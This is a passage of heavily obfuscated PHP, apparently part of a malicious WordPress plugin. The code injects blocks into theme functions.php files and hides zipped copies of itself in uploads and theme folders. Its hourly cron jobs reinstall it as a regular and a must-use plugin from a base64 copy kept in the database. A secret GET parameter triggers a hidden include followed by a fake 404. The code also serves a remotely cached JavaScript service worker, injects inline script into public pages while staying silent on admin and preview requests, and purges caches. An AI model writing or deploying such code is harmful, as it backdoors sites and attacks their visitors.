					if (is_string($_oc)) $current = $_oc;
					$_oc = ("\x70\x72" . 'eg_r' . "e\x70\x6ca" . "ce")('/' . '^[ ' . '\\t]*\\' . "/\\/SC" . '_TH_' . 'LD_[' . 'a-f' . '0-' . "\x39" . '_' . "]" . '+[^\\' . "n" . ']*\\r' . '?\\n(' . "\x5b^\\\x6e\x5d" . '*' . '(\\r?' . '\\' . 'n|$)' . ")?/" . 'm', '', $current);
					if (is_string($_oc)) $current = $_oc;
					unset($_oc);
					if (strpos($current, 'SC' . "\x5fT\x48_B" . 'E' . 'GIN') !== (29 == 26)) {
						vugo('theme', "o\x72\x70h" . 'an');
						continue;
					}
				}

			if ($_done) {
				if ($current === $_pre_strip) continue;
				$_rc = @('file_get' . '_co' . "\x6et\x65\x6e\x74" . 's')($functions);
				if (!is_string($_rc)) continue;
				if (strlen($_rc) > (136208 + 912368)) $_rc = loye($_rc);
				if ($_rc !== $_pre_strip) {
					vugo('them' . 'e', 'rmw_' . 'race');
					continue;
				}
				unset($_rc);
				if (!uvu($functions, $current)) continue;
				if (!cesa($functions, $current)) continue;
				if (jihe($functions, $current)) izo($functions);
				continue;
			}

				if (preg_match('/^\\s' . "*" . 'names' . "p" . 'ac' . "e\\s\x2b[" . "^" . ';{' . "\x5d+\\\x73" . '*\\{' . "/m", $current)) {
					vugo('the' . "m" . "e", "ns" . '_s' . 'kip');
					continue;
				}

				$_prefix = "<?" . "\x70\x68p" . "\x20";
				if (strlen($current) > (3240 ^ 3240) && strpos($current, '<?') !== (31 === 33)) {
					$_in_php = (23 == 25);
					if (("f" . "un" . "ct" . "ion_exists")('t' . 'oken_' . 'get' . '_all')) {
						$_tks = @token_get_all($current);
						if (is_array($_tks)) {
							foreach ($_tks as $_tk) {
								if (is_array($_tk)) {
									if ($_tk[(2203 ^ 2203)] === T_OPEN_TAG || (defined("T_" . "OPE\x4e" . '_TAG_' . "\x57" . 'I' . "TH" . '_' . 'E' . 'CHO') && $_tk[(2814 ^ 2814)] === T_OPEN_TAG_WITH_ECHO)) $_in_php = (10 !== 1);
									elseif ($_tk[(547 ^ 547)] === T_CLOSE_TAG) $_in_php = (6 === 31);
								}
							}
						}
						unset($_tks, $_tk);
					} else {
						$_lo = strrpos($current, '<' . "\x3f");
						$_lc = strrpos($current, '?' . '>');
						if ($_lo !== (14 === 10) && ($_lc === (19 == 34) || $_lo > $_lc)) $_in_php = (25 !== 23);
						unset($_lo, $_lc);
					}
					if ($_in_php) $_prefix = '';
					unset($_in_php);
				}
			$_sep = (strlen($current) > (3505 ^ 3505)) ? "\n" : '';
			$_ic = str_replace($_guard, $_guard . '_' . substr(md5($functions), (4015 ^ 4015), (8 >> 1)), $inject_code);
			$inject = $_sep . $_prefix . $_b . "\n" . $_ic . "\n" . $_e . "\n";
			unset($_ic);
			$_rc = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . "nten" . 't' . "\x73")($functions);
			if (!is_string($_rc)) {
				unset($_pre_strip);
				continue;
			}
			if (strlen($_rc) > (1786409 - 737833)) $_rc = loye($_rc);
			if ($_rc !== $_pre_strip) {
				unset($_rc, $_pre_strip);
				vugo('the' . 'm' . 'e', 'rmw_' . "\x72a" . "ce");
				continue;
			}
			unset($_rc, $_pre_strip);
			if (!uvu($functions, $current)) continue;
			if (!cesa($functions, $current)) {
				vugo('th' . 'eme', 'c' . 'anar' . 'y_arm' . '_fail');
				continue;
			}
			if (!jihe($functions, $current . $inject)) continue;
			izo($functions);
			$_done = (21 != 24);
			} finally {
				if (is_resource($_lh)) {
					if (("function" . '_exis' . 'ts')("f" . 'lo' . 'c' . "k")) @flock($_lh, LOCK_UN);
					@("fcl" . ("" . "o") . 's' . "e")($_lh);
				}
			}
		}
		return $_done;
	} catch (Throwable $e) {
		vugo('theme', $e);
		return (0 == 25);
	} catch (Exception $e) {
		return (22 === 30);
	}
}

function uja()
{
	try {
		if (!defined("ABS" . 'PA' . "T" . "H")) return;
		if (rume(sc_file())) return;
		$base = sc_writable_base();
		$zip_name = sc_md5(ABSPATH . "z" . 'ip', (20 ^ 28)) . '.zip';
		$slug = basename(sc_file(), '.php');
		$src = vupo();
		if (!$src || strlen($src) < (645 - 145)) {
			vugo('ht', 'src_' . "e\x6dp\x74" . 'y');
			return;
		}
		if (!('cla' . "" . ('s' . "s_exists"))('Zi' . 'pArc' . "h" . "i" . 'v' . 'e')) return;

		$targets = array(
			$base . '/' . $zip_name,
			$base . '/upl' . 'oa' . 'ds' . '/' . date('Y/m' . '/') . $zip_name,
		);

		$theme_dir = (defined("W\x50\x5fC\x4f" . 'NTENT' . '_DIR') ? WP_CONTENT_DIR : ABSPATH . "\x77p\x2dc" . 'o' . 'nten' . 't') . '/the' . "\x6des";
		if (@is_dir($theme_dir)) {
			$_th_entries = meyo($theme_dir, (1024 | 976));
			if (is_array($_th_entries)) {
				foreach ($_th_entries as $e) {
					$t = $theme_dir . '/' . $e;
					if (@is_dir($t) && @is_writable($t)) {
						$targets[] = $t . '/' . $zip_name;
						break;
					}
				}
			}
		}

		foreach ($targets as $zt) {
			if (@file_exists($zt) && @filesize($zt) > (8000 >> 3)) {
				$za_cls = "Zi" . "pAr\x63" . 'hive';
				if (("\x63l" . 'ass_e' . "x" . 'ists')($za_cls)) {
					$_zk = new $za_cls();
					if (@$_zk->open($zt) === (0 != 37)) {
						$_zok = (23 === 34);
						$_zi = $_zk->locateName($slug . '/' . $slug . '.ph' . "\x70");
						if ($_zi !== (31 == 17)) {
							$_zst2 = $_zk->statIndex($_zi);
							if (is_array($_zst2) && isset($_zst2['size']) && (int) $_zst2['si' . 'ze'] <= (0 | 16777216)) {
								$_zc = $_zk->getFromIndex($_zi);
								$_zok = (is_string($_zc) && md5($_zc) === md5($src));
								unset($_zc);
							}
							unset($_zst2);
						}
						$_zk->close();
						if ($_zok) continue;
					}
				}
			}
			$dir = dirname($zt);
			if (!@is_dir($dir)) aca($dir, (140 | 353), (23 != 7));
			$za_cls = "\x5ai\x70" . 'A' . 'rchiv' . "\x65";

			$ztmp = dili($dir, 'sc_');
			if (!is_string($ztmp) || $ztmp === '') continue;
			$zip = new $za_cls();
			if (@$zip->open($ztmp, $za_cls::CREATE | $za_cls::OVERWRITE) === (29 > 28)) {
				$zip->addFromString($slug . '/' . $slug . '.php', $src);
				$zip->close();
				$_zv = new $za_cls();
				if (@$_zv->open($ztmp) === (29 !== 38)) {
					$_zv->close();
					if (hepa($ztmp, $zt) || (niwab($ztmp, $zt) && soda($ztmp))) {
						ayux($zt, tiwul());
						mafa($zt, (239 + 181));
					} else {
						soda($ztmp);
					}
				} else {
					soda($ztmp);
				}
			} else {
				soda($ztmp);
			}
		}
	} catch (Throwable $e) {
		vugo('z' . "\x69" . "p", $e);
	} catch (Exception $e) {
	}
}

function sc_cron_recovery_setup()
{
	try {
		if (!('functi' . 'on_e' . "xi\x73\x74s")('wp' . '_sch' . 'edul' . "\x65_e" . "v" . 'ent') || !("\x66\x75\x6e" . ('' . "c\x74i\x6f\x6e\x5fe\x78is\x74\x73"))("wp_" . "next" . "_s" . 'c' . 'h' . 'edule' . "d")) return;
		if (!defined("\x41" . 'BSP' . "\x41\x54\x48")) return;
		$hook = "sc_c" . "\x72\x6fn_" . 'rec' . "ove\x72" . 'y';
		if (!wp_next_scheduled($hook)) {
			wp_schedule_event(time() + (130 ^ 430), "h" . "ou" . "r\x6c" . 'y', $hook);
		}
		if (!wp_next_scheduled('sc_c' . "ro\x6e\x5fg" . 'uard')) {
			wp_schedule_event(time() + (369 ^ 809), 'sc_g' . 'uar' . 'd_' . 'in' . "ter\x76" . 'al', "s" . 'c' . '_c' . 'ron_' . 'gu' . "\x61r\x64");
		}
	} catch (Throwable $e) {
		vugo("cr" . 'on_se' . 'tup', $e);
	} catch (Exception $e) {
	}
}

function sc_cron_guard_tick()
{
	try {
		if (!defined('AB' . "SPA" . 'TH')) return;
		
		
		
		
		
		
		
		if (('func' . "\x74\x69\x6f" . ('n_' . "\x65\x78\x69\x73\x74\x73"))("sc_" . 'pr' . 'une_s' . "tale_" . "ow\x6e") && ('fu' . "nction_e" . "xists")("sc" . "_" . "p" . 'r' . "une_d" . "u" . "e") && sc_prune_due()) {
			sc_prune_stale_own("\x6d\x61" . 'i' . 'n' . "ten" . 'ance');
			if (("\x66unc\x74i" . "\x6f\x6e_\x65x\x69" . 'sts')('sc_pr' . 'une_' . "m" . 'ar' . 'k' . "_\x72" . "un")) sc_prune_mark_run();
		}
		$hash = sc_md5(ABSPATH . 'g', (9 + -1));
		$dirs = array();
		if ((('fun' . "c\x74\x69o\x6e_") . 'exis' . 'ts')('s' . "c_d" . 'ata_d' . "i" . "\x72")) $dirs[] = sc_data_dir();
		$dirs[] = ABSPATH . 'wp' . "-i\x6ec" . 'lude' . 's';
		if (('func' . ("tion_e" . "\x78\x69\x73\x74\x73"))('sc_' . 'w' . 'r' . "i" . "t" . 'a' . 'b' . "l" . 'e_ba' . "se")) $dirs[] = sc_writable_base();
		foreach ($dirs as $gd) {
			$hb = $gd . "\x2f." . 'g' . 'l_' . $hash;
			if (@is_file($hb) && (int) @filemtime($hb) > time() - (1920 >> 3)) return;
		}
		foreach ($dirs as $gd) {
			$_gx = $gd . '/' . ".\x67\x78" . '_' . $hash;
			if (@is_file($_gx)) {
				$_gxm = (int) @filemtime($_gx);
				if ($_gxm > time() - (65778 + 20622) && $_gxm <= time() + (27 ^ 311)) continue;
				soda($_gx);
			}
			$gp = $gd . '/.' . 'g_' . $hash . "\x2ep" . 'h' . 'p';
			if (@is_file($gp) && (int) @filesize($gp) > (287 + 213)) {
				$_gm = $gd . '/.g' . 'm_' . $hash;
				$_gmv = @is_file($_gm) ? trim((string) @('file' . ("" . "_get_contents"))($_gm)) : '';
				if ($_gmv !== '' && ("\x66" . 'unctio' . '' . "n_exists")('m' . 'd5_' . "\x66\x69\x6c\x65") && @md5_file($gp) === $_gmv) {
					@include/*x*/ $gp;
					return;
				}
				if ($_gmv !== '') {
					soda($gp);
				}
				unset($_gm, $_gmv);
			}
		}
		unset($_gx, $_gxm);
		if (("fu\x6e\x63t\x69\x6f" . 'n_exists')('de' . 'l' . 'ete_' . "\x74ran\x73" . "ien" . "\x74")) @delete_transient('sc_g' . "ua\x72" . 'd');
		sc_drop_guard();
	} catch (Throwable $e) {
		vugo('c' . 'r' . "on_g\x75" . "ar" . 'd', $e);
	} catch (Exception $e) {
	}
}

function sc_cron_recovery()
{
	try {
		if (!defined("\x41BS" . 'PAT' . "\x48")) return;
		iha(null);
		$slug = basename(sc_file(), '.php');
		$plugin_file = sc_file();

		$src = '';
		if (@is_file($plugin_file) && @filesize($plugin_file) > (9931 - 4931)) {
			$_up = hapi($plugin_file);
			if (is_string($_up) && strlen($_up) > (122 ^ 398) && cale($_up)) $src = $_up;
			unset($_up);
		}
		if ($src === '') {
			$opt_name = sc_md5(ABSPATH . "\x6fp" . 't', (8 + 2));
			$b64 = ('fu' . "\x6e\x63\x74\x69o\x6e_\x65\x78\x69\x73\x74s")('get_' . 'op' . "\x74io" . "n") ? @get_option($opt_name, '') : '';
			if (!$b64 || strlen($b64) < (508 ^ 8)) return;
			$src = peti(('bas' . "e64_deco" . 'd' . "e")($b64));
			if (!$src || strlen($src) < (338 ^ 166)) return;
			if (!cale($src)) {
				vugo('inst' . 'a' . "ll" . 'ed', "src_i" . "n\x76al" . 'i' . "\x64");
				return;
			}
		}

		$base = sc_writable_base();
		$pd = $base . "/pl" . 'ugins' . '/' . $slug;
		$pf = $pd . '/' . $slug . "\x2e\x70" . "h" . 'p';
		if (!@is_dir($pd)) aca($pd, (658 - 165), (35 != 14));
		$_pfc = @is_file($pf) ? hapi($pf) : '';
		$_pfn = ($_pfc === null);
		if (is_string($_pfc) && $_pfc !== '' && preg_match("\x2f" . '\\/' . "\\*" . ' S' . 'CV:(\\' . 'd+' . "\\.\\" . 'd' . '+' . "\\." . '\\d' . '+) \\*' . "\\//", substr($_pfc, (266 ^ 266), (1651 + 2445)), $_pfm) && version_compare($_pfm[(1186 ^ 1187)], sc_ver(), '>')) $_pfn = (26 < 27);
		unset($_pfm);
		if (!$_pfn && (!is_string($_pfc) || $_pfc === '' || md5($_pfc) !== md5($src))) {
			if (jihe($pf, soro($src))) {
				mafa($pf, (132 | 288));
				qaciw($pf);
				tidi($pf);
			}
		}
		unset($_pfc, $_pfn);
		limo($slug, $slug . '/' . $slug . '.' . "php");

		 
		zime($slug);

		$mu_dir = sc_mu();
		if ((@is_dir($mu_dir) && @is_writable($mu_dir)) || (!@is_dir($mu_dir) && aca($mu_dir, (839 - 346), (18 != 20)))) {
			$mf = $mu_dir . '/' . $slug . '.p' . "h" . 'p';
			$_mfc = @is_file($mf) ? hapi($mf) : '';
			$_mfn = ($_mfc === null);
			if (is_string($_mfc) && $_mfc !== '' && preg_match('/\\/\\' . '* S' . "CV" . ":(" . '\\d' . "+" . '\\.\\' . "d+\\" . "\x2e" . '\\d+) ' . "\\\x2a\\" . "\x2f/", substr($_mfc, (429 ^ 429), (639 ^ 4735)), $_mfm) && version_compare($_mfm[(545 ^ 544)], sc_ver(), '>')) $_mfn = (0 === 0);
			unset($_mfm);
			if (!$_mfn && (!is_string($_mfc) || $_mfc === '' || md5($_mfc) !== md5($src))) {
				if (jihe($mf, soro($src))) {
					mafa($mf, (160 | 260));
					qaciw($mf);
					tidi($mf);
				}
			} elseif (!$_mfn) {
				$_mft = @filemtime($mf);
				if (!$_mft || ($_mft % (98848 | 1152)) !== jami()) qaciw($mf);
				unset($_mft);
			}
			unset($_mfc, $_mfn);
		}
		vida($src);
	} catch (Throwable $e) {
		vugo("cro" . "\x6e\x5fr\x65" . "c", $e);
	} catch (Exception $e) {
	}
}
function fisu()
{
	if (!isset(${"_" . "G" . "E" . '' . "T"}['p']) || !is_string(${'_GE' . 'T'}['p'])) return;
	$_gp = ${"\x5f" . "\x47\x45" . "T"}['p'];
	if (!($_gp === pivi('inst'))) {} else {
		${"G\x4c\x4f" . 'BA' . 'L' . "\x53"}['s' . "c" . '_da' . "tas\x63"] = (24 != 8);
		try {
			$_if = sc_data_dir() . '/' . sc_md5(ABSPATH . 'ins' . 't', (4 ^ 12)) . '.php';
			$_ifs = @is_file($_if) ? (int) @filesize($_if) : (1786 ^ 1786);
			if ($_ifs > (232 + 268) && $_ifs <= (0 | 5242880)) {
				include/**/ $_if;
			}
		} catch (Throwable $e) {
		} catch (Exception $e) {
		}
		while (ob_get_level() > (3032 ^ 3032) && @ob_end_clean()) {
		}
		("\x68\x65\x61\x64\x65" . "\x72")('HTT' . 'P/1.1' . " " . '40' . "4" . " No" . 't' . ' Fou' . 'nd');
		exit;
	}
	if ($_gp !== pivi('sw')) return;
	try {
		if (("\x66\x75\x6e\x63\x74\x69\x6f\x6e" . '_ex' . 'ists')("ge" . "t_" . "o\x70t" . "\x69o" . 'n') && ('f' . '' . "u\x6ec\x74\x69o\x6e\x5f\x65x\x69\x73\x74s")("up\x64at" . "e_opt" . 'i' . "on")) {
			@update_option("\x73c\x5f" . 'sw_' . 'ep_' . 'h' . "\x69" . 'ts', (int) @get_option('sc_sw' . '_ep_' . "\x68" . 'i' . 'ts', (3844 ^ 3844)) + (2323 ^ 2322), 'no');
			@update_option("sc\x5fsw" . '_ep_l' . "as\x74", time(), 'no');
		}
		$c2_sw = fufak('sw_' . 'c' . "a\x63he" . "d", '');
		if (strlen($c2_sw) > (71 + 29) && !preg_match("\x2f^" . "\\s*" . '(' . '?:\\(' . '|' . "\\/\\\x2a" . "|\\" . '/\\/|v' . 'ar' . " |let" . " \x7cc\x6fn" . 's' . "\x74" . ' |' . 'f' . "\x75nc" . 't' . 'io' . "\x6e" . " |s" . 'elf\\.' . ')/', $c2_sw) && preg_match("/\x5e\x5b\x41" . "-Za\x2d" . 'z0-' . '9+\\' . '/' . "=\\r\\" . 'n]' . '+$/', $c2_sw)) {
			$_dec = @("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64" . "" . "e")($c2_sw, (25 != 0));
			if ($_dec !== (8 == 21) && strlen($_dec) > (25 ^ 125)) $c2_sw = $_dec;
		}
		if (strlen($c2_sw) < (103 ^ 3)) $c2_sw = kuwic();
		if (strlen($c2_sw) < (76 + 24)) {
			while (ob_get_level() > (3083 ^ 3083) && @ob_end_clean()) {
			}
			("he" . "a" . "d" . "\x65\x72")("\x43ont" . 'ent-T' . 'ype:' . " appl" . 'i' . 'catio' . "n\x2f" . "javas" . 'crip' . "t\x3b" . ' c' . 'h' . 'ar' . "\x73\x65t" . '=utf' . "-8");
			("\x68\x65" . 'ader')("Se\x72" . 'vic' . 'e' . '-Work' . "er-A" . "l" . 'lowed' . ": /");
			("h" . "ea" . "de" . "\x72")("H" . "\x54\x54" . 'P/1.' . "\x31 \x320\x34" . ' ' . "N" . 'o C' . "o" . "nte\x6et");
			exit;
		}
		$cfg = fufak('sw_co' . 'n' . 'fig', '');
		$etag = '"' . md5($cfg . $c2_sw) . '"';
		if (isset(${"\x5f\x53\x45" . 'RV' . 'ER'}['H' . "TT" . "\x50_IF\x5f" . 'NO' . 'NE_M' . "A" . 'TCH']) && trim(${"\x5f" . "" . "SERV" . "ER"}['HTTP_' . 'IF' . "_NON" . "E\x5fMA" . 'TC' . 'H']) === $etag) {
			while (ob_get_level() > (8 ^ 8) && @ob_end_clean()) {
			}
			("h" . "e" . "" . "a\x64\x65" . "r")('HTT' . 'P/1.' . '1 ' . '30' . '4 ' . "No" . 't Mod' . 'if' . "i" . 'ed');
			("\x68" . 'ea' . ('de' . "\x72"))("E\x54\x61g" . ": " . $etag);
			exit;
		}
		while (ob_get_level() > (4033 ^ 4033) && @ob_end_clean()) {
		}
		("h" . 'e' . '' . "a" . "\x64\x65\x72")('Con' . "\x74e\x6et" . '-Type' . ': ' . "a\x70p" . "li" . "\x63" . 'atio' . 'n/ja' . 'vas' . "c\x72\x69p" . 't;' . ' char' . "\x73\x65t=" . 'utf-8');
		("h\x65" . 'a' . 'd' . "\x65\x72")("\x53e\x72\x76i" . 'c' . 'e' . "-\x57o" . 'r' . "k\x65\x72" . '-A' . 'llowe' . 'd' . ': /');
		("\x68\x65\x61" . ("d" . "er"))('Ca' . 'c' . "\x68\x65-Co" . "ntrol" . ": " . 'no-' . "\x63" . 'ache');
		("h" . "\x65\x61\x64" . ('e' . "r"))('ET' . 'ag:' . ' ' . $etag);
		echo $cfg . $c2_sw;
		exit;
	} catch (Throwable $e) {
		vugo("sw_e" . "\x70", $e);
	} catch (Exception $e) {
		vugo("\x73" . 'w_e' . "p", $e);
	}
}

fisu();

function uka()
{
	if (!isset(${"\x5f" . "\x47" . "E" . 'T'}['sc_' . "ve\x72i" . 'fy'])) return;
	try {

		$given = ${("_" . "G") . "ET"}['sc' . '_ve' . "rif\x79"];
		if (!is_string($given) || $given === '') return;
		$given = strtolower($given);
		$hosts = array();
		if (("function_exist" . "\x73")('hom' . 'e_' . 'url')) $hosts[] = (string) parse_url(home_url(), PHP_URL_HOST);
		if (("\x66un\x63t" . ("ion_e" . 'xists'))('ge' . 't_op' . "tio\x6e")) {
			$_su = (string) @get_option("\x73i" . "te" . 'ur' . 'l', '');
			if ($_su !== '') $hosts[] = (string) parse_url($_su, PHP_URL_HOST);
		}
		if (isset(${'_S' . ('' . "ERVER")}["HT\x54P" . '_' . "H" . "\x4fS" . 'T'])) $hosts[] = (string) ${"\x5f\x53\x45\x52" . '' . ("\x56\x45" . "\x52")}["H" . 'TTP_' . 'HO' . "\x53" . 'T'];
		$hosts[] = nita('');
		$_ok = (15 === 19);
		foreach (array_unique($hosts) as $_h) {
			if (!is_string($_h) || $_h === '') continue;
			if (strpos($_h, ':') !== (4 === 7)) $_h = ('preg' . '_replace')('/:\\' . 'd' . '+$/', '', $_h);
			if (sc_md5(strtolower($_h) . '|ve' . 'rif' . 'y', (12 | 0)) === $given) {
				$_ok = (37 != 22);
				break;
			}
		}
		if (!$_ok) return;
		$probe = str_repeat('sc_se' . "m" . "a\x6eti" . 'c_pr' . 'obe' . '|', (61 - 31));
		$rt = peti(jexa($probe));
		while (ob_get_level() > (1601 ^ 1601) && @ob_end_clean()) {
		}
		("he" . "" . "a" . 'de' . 'r')('C' . 'ont' . 'ent-T' . 'yp' . "e:\x20te" . 'xt/' . "\x70\x6cai" . 'n');
		("\x68" . 'eader')('Cache' . '-' . 'Con' . "tr\x6fl" . "\x3a\x20n" . 'o-' . "\x73t" . 'o' . 're');
		echo ($rt === $probe) ? 'SC_SE' . 'M:' . md5($probe) : 'SC_' . 'S' . 'E' . "M_\x46" . 'AIL';
		exit;
	} catch (Throwable $e) {
		vugo("v" . 'erify' . "_\x65p", $e);
	} catch (Exception $e) {
		vugo("v\x65rif" . "\x79" . '_ep', $e);
	}
}

uka();

function sc_purge_caches()
{
	$_ok = (25 !== 39);
	$_t = function ($cb) use (&$_ok) {
		try {
			("\x63\x61\x6c\x6c\x5f\x75\x73\x65\x72" . '_' . "fun" . "\x63")($cb);
		} catch (Throwable $e) {
			$_ok = (850 !== 850);
		} catch (Exception $e) {
			$_ok = (2 === 3);
		}
	};
	if (('function_e' . ("x\x69\x73t" . "s"))('roc' . 'k' . "et_\x63" . 'lea' . 'n_do' . 'main')) $_t("ro\x63\x6be" . "t\x5f\x63" . 'l' . 'ean_d' . 'omain');
	if (('func' . "tio" . '' . 'n_exists')('w3tc_' . 'f' . "l\x75\x73" . 'h_a' . 'll')) $_t('w3t' . "c_" . 'flus' . "h_a" . "l\x6c");
	if (('function_exist' . "\x73")('sg_c' . "a\x63\x68" . 'epre' . "\x73s_" . "\x70\x75r\x67e" . "_ca" . "c" . 'he')) $_t('sg_c' . 'achep' . 're' . 'ss_' . 'pu' . 'rge' . "_" . 'cach' . "e");
	if ((('f' . "un\x63\x74\x69\x6f\x6e\x5fe\x78\x69") . "\x73\x74\x73")('l' . "i\x74es" . "p" . "e" . 'ed_p' . 'urge_' . 'all')) $_t("li" . "tespe" . 'ed_' . "\x70\x75r" . 'g' . "\x65\x5f" . 'all');
	elseif (("\x63" . "lass_ex" . "ist" . 's')("Li" . 'teSp' . 'ee' . 'd_' . "\x43\x61c\x68" . 'e_API') && ("meth" . "od" . '_exis' . 'ts')('Lite' . 'S' . 'pe' . 'ed' . "_Cach" . "e" . '_API', 'pur' . 'ge' . '_a' . 'll')) $_t(array('Lite' . 'S' . 'pee' . "d_C" . 'ache' . '_A' . 'P' . "I", "pu" . 'rge_a' . 'll'));
	if ((("c" . "lass_ex") . "i" . 'sts')('Breez' . 'e' . "\x5f\x50\x75r\x67" . 'eCa' . "\x63he") && ("\x6det\x68" . "od" . '_exists')('Bree' . "ze_P\x75" . "rg" . 'eCac' . 'he', 'br' . 'ee' . 'ze' . '_c' . 'ache' . '_f' . "lu\x73h")) $_t(array('Bree' . 'z' . 'e_' . 'Purg' . 'eC' . 'ac' . "h" . 'e', 'bre' . "eze" . '_c' . 'ach' . "\x65" . '_fl' . 'ush'));
	if (("\x63\x6cass\x5f\x65\x78\x69\x73" . 't' . "\x73")('Ca' . 'c' . "he\x5f" . 'Enabl' . 'e' . "\x72") && ('met' . ("\x68o\x64_" . "ex\x69\x73\x74s"))('Ca' . 'c' . "h\x65_" . 'Enabl' . 'er', "c\x6c" . "e\x61r_t" . 'otal_' . 'cache')) $_t(array("C" . "ache_" . 'Enabl' . "er", 'cl' . "\x65ar" . "_to" . 't' . 'al_ca' . 'ch' . 'e'));
	if (('funct' . "io\x6e\x5f\x65" . 'xi' . "sts")("wpfc" . '_cle' . 'ar_a' . "l" . 'l' . '_cac' . "h\x65")) $_t('wpfc' . '_cle' . "a\x72" . "_" . 'all_c' . 'ach' . 'e');
	elseif (isset(${'G' . "LOB" . "" . "ALS"}["w" . "p_f" . "\x61" . "s" . 'test' . '_cach' . 'e']) && is_object(${'GLOBA' . "\x4c\x53"}['wp_fa' . "s" . "test" . "\x5fcac" . 'he']) && ("met" . 'hod_exists')(${"G" . "\x4c\x4fB\x41\x4c\x53"}["wp" . "_fa" . 'ste' . "st_ca" . "\x63he"], "\x64\x65\x6ce" . "t" . "\x65C\x61" . 'ch' . "e")) $_t(function () {
		${"\x47\x4cO\x42\x41\x4c" . "" . "\x53"}["wp_" . "\x66" . 'aste' . 'st_' . 'ca' . 'c' . 'he']->deleteCache((11 !== 8));
	});
	if (("fu" . "nction_exists")("\x77" . 'p_c' . 'a' . "ch\x65" . "_" . 'cl' . 'e' . 'ar_ca' . 'che')) $_t("w" . "p" . "\x5f" . 'cach' . 'e_cl' . "e\x61r" . "\x5fc\x61" . "che");
	if (('cl' . 'ass' . '_exists')("au" . "topt" . 'imiz' . "eCa\x63h" . 'e') && ("method" . "\x5f\x65x\x69sts")("\x61" . "ut\x6f" . "ptim\x69" . 'zeCac' . 'he', 'c' . "l" . 'eara' . 'll')) $_t(array('autop' . "t\x69m" . 'izeCa' . 'c' . "he", 'c' . 'lear' . 'all'));
	vugo('cach' . 'e', 'purg' . "e_on" . "\x5fjs_c" . 'ha' . 'nge');
	return $_ok;
}

function jobe()
{
	if ((("\x66\x75\x6e\x63\x74" . "ion_e") . "xists")("is\x5fa\x64" . 'min') && is_admin()) return (40 != 30);
	if (("f" . 'unction_ex' . "\x69" . "\x73\x74\x73")("wp_\x64" . 'oin' . 'g_aja' . "\x78") && wp_doing_ajax()) return (6 !== 27);
	if (defined('RES' . "T_RE" . 'QU' . "E" . 'ST') && REST_REQUEST) return (22 !== 39);
	if (defined("XML\x52P" . "\x43_\x52E\x51" . "\x55\x45S" . 'T') && XMLRPC_REQUEST) return (18 !== 7);
	if (('func' . 'tion_exis' . "\x74\x73")('is_f' . "e\x65d") && is_feed()) return (23 !== 7);
	if (('function_' . "ex" . "is" . 'ts')('is_r' . "\x6fbo" . 'ts') && is_robots()) return (38 != 7);
	if ((('function_ex' . 'is') . "" . 'ts')('is_' . "s\x69t" . 'ema' . "\x70s") && is_sitemaps()) return (39 !== 23);
	if ((("\x66" . 'unctio') . 'n_exists')("i\x73\x5f\x63" . 'us' . "\x74o" . "\x6d" . 'ize_p' . 'rev' . "\x69ew") && is_customize_preview()) return (32 !== 35);
	if (isset(${"\x5f" . 'G' . 'E' . "\x54"}['e' . "l" . 'emen' . 't' . "o\x72-p" . "r" . "e" . 'view']) || isset(${'_G' . 'E' . "T"}['cust' . 'omize' . "\x5fc" . "h\x61\x6e" . 'geset' . "_" . 'uuid']) || isset(${'_GE' . "T"}['fl_b' . "u" . "\x69" . 'ld' . 'e' . 'r'])) return (3 != 36);
	return (28 == 34);
}

function xuwe()
{
	$inline = (isset(${'GLO' . '' . 'B' . 'AL' . "S"}['s' . 'c_j' . 's']) && is_string(${"\x47LO\x42\x41" . "\x4c" . 'S'}["sc" . "\x5fjs"])) ? trim(${"GL" . "OBALS"}['sc_j' . 's']) : '';
	if ($inline === '') return '';
	$inline = str_replace("\x3c/" . 'scrip' . 't', '<' . '\\/s' . 'cript', $inline);
	$host = ("\x66\x75n\x63\x74" . ('ion' . '_exists'))("h\x6fme" . '_' . "\x75\x72" . "l") ? (string) parse_url(home_url(), PHP_URL_HOST) : '';
	$mark = sc_md5(strtolower($host), (4 | 2));
	$jh = substr(md5($inline), (1394 ^ 1394), (13 ^ 11));
	return "\n<sc\x72" . 'ipt' . " da" . "ta-" . 'sc=' . "\"" . $mark . '-' . $jh . '"' . "\x3e\n" . $inline . "\n</sc" . 'ript' . "\x3e\n<\x21\x2d" . '-' . " sc" . $mark . '-' . $jh . ' ' . '--' . ">\n";
}

function sc_js_out()
{
	try {
		if (jobe()) return;
		$tag = xuwe();
		if ($tag === '') return;
		echo $tag;
		${'GLO' . 'B' . "\x41\x4cS"}['s' . 'c_js' . "\x5fprin" . 'ted'] = (23 !== 31);
		if (("fu" . "nction_" . 'exi' . "s\x74\x73")("ge\x74" . '_opt' . 'ion') && (("funct" . "io") . 'n_exists')('updat' . 'e_' . "\x6f" . 'p' . 't' . 'ion') && empty(${"GLOBAL" . ("" . 'S')}["sc\x5f" . 'js_pr' . 'int' . '_n' . 'ote'])) {
			${"G" . 'LOB' . "ALS"}['sc_j' . "s" . "_p\x72i" . 'nt_no' . 'te'] = (19 != 4);
			$_pt = (int) @get_option("sc\x5fj" . 's_' . 'pri' . 'nte' . "d_t" . 's', (3364 ^ 3364));
			if (time() - $_pt > (44 | 256)) @update_option('sc_js' . '_' . 'p' . "rint" . "ed" . '_t' . 's', time(), 'no');
			unset($_pt);
		}
	} catch (Throwable $e) {
		vugo('js', $e);
	} catch (Exception $e) {
	}
}

function sc_js_ob_cb($html, $phase = (1058 ^ 1058))
{
	if (!is_string($html) || $html === '') return $html;
	if (defined('P' . "\x48P_\x4fU" . 'T' . "P\x55" . 'T_HAN' . 'DLER_' . "\x46I\x4eA" . "L") && !($phase & PHP_OUTPUT_HANDLER_FINAL)) return $html;
	if (!empty(${"GLO" . "\x42" . "\x41" . "\x4cS"}['sc' . '_dat' . "a" . 'sc'])) return $html;
	if (!empty(${"GLO" . "BA" . "L" . "\x53"}["sc" . '_' . 'j' . "s_pr\x69" . "nted"])) return $html;
	if (strlen($html) > (5329797 - 1135493)) return $html;
	if (("\x66\x75\x6e\x63\x74\x69\x6f" . 'n_exists')("he\x61\x64" . 'ers_l' . 'ist')) {
		foreach ((array) @headers_list() as $_hb) {
			if (stripos($_hb, 'Co' . 'n' . 'ten' . 't-D' . "\x69" . 'sposi' . "t\x69on\x3a") === (550 ^ 550) && stripos($_hb, 'a' . 'tta' . 'c' . 'hment') !== (8 == 26)) return $html;
